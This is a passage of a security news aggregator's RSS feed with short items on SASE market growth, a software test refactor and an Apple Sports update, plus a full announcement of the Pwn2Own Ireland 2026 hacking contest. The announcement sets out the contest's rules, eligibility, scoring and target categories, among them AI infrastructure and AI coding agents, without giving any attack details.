<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[v0.32.2-rc3: test: revamp integration test entrpoints (#16560)]]></title>
<description><![CDATA[This refactors the existing integration tests into 3 priumary groups: fast,
release, and library.  It also refines some of the release tests to drop some
of the older models and pick up newer models, while retaining the broad
coverage in the library group.]]></description>
<link>https://tsecurity.de/de/3685020/downloads/v0322-rc3-test-revamp-integration-test-entrpoints-16560/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685020/downloads/v0322-rc3-test-revamp-integration-test-entrpoints-16560/</guid>
<pubDate>Wed, 22 Jul 2026 01:47:16 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This refactors the existing integration tests into 3 priumary groups: fast,<br>
release, and library.  It also refines some of the release tests to drop some<br>
of the older models and pick up newer models, while retaining the broad<br>
coverage in the library group.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Sports Adds Seven New Soccer Leagues and Match Formations]]></title>
<description><![CDATA[Apple Sports has added support for seven more soccer leagues, giving fans a wider range of competitions to follow after the 2026 World Cup. The new features arrive with Apple Sports version 4.2, which is now available through the App Store.



The update expands the app’s soccer coverage across E...]]></description>
<link>https://tsecurity.de/de/3684618/ios-mac-os/apple-sports-adds-seven-new-soccer-leagues-and-match-formations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684618/ios-mac-os/apple-sports-adds-seven-new-soccer-leagues-and-match-formations/</guid>
<pubDate>Tue, 21 Jul 2026 20:28:26 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Sports has added support for seven more soccer leagues, giving fans a wider range of competitions to follow after the 2026 World Cup. The new features arrive with Apple Sports version 4.2, which is now available through the App Store.



The update expands the app’s soccer coverage across Europe and Asia, while also adding formation details for matches in most supported leagues. This gives users a clearer view of how each team plans to start the game and how players are arranged on the field.



Seven New Soccer Leagues Join Apple Sports



Apple Sports now supports the Belgian Pro League, Danish Superliga, Dutch Eredivisie, Japanese J1 League, Polish Ekstraklasa, Scottish Premiership, and Swiss Super League.



These additions make the app more useful for fans who follow domestic soccer outside the biggest European competitions. Users can check scores, match schedules, standings, and other live details from each newly supported league.



The new formation view also helps fans understand the starting lineup before kickoff. Apple says this feature will appear across most soccer leagues and will show how players are positioned for each match.



Apple TV also continues to offer every Major League Soccer match at no extra cost, giving soccer fans another option for following the new MLS season alongside live scores and match updates in Apple Sports.]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwn2Own Ireland 2026 – New Targets and Categories]]></title>
<description><![CDATA[If you just want to read the rules, you can find them here.  Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With...]]></description>
<link>https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



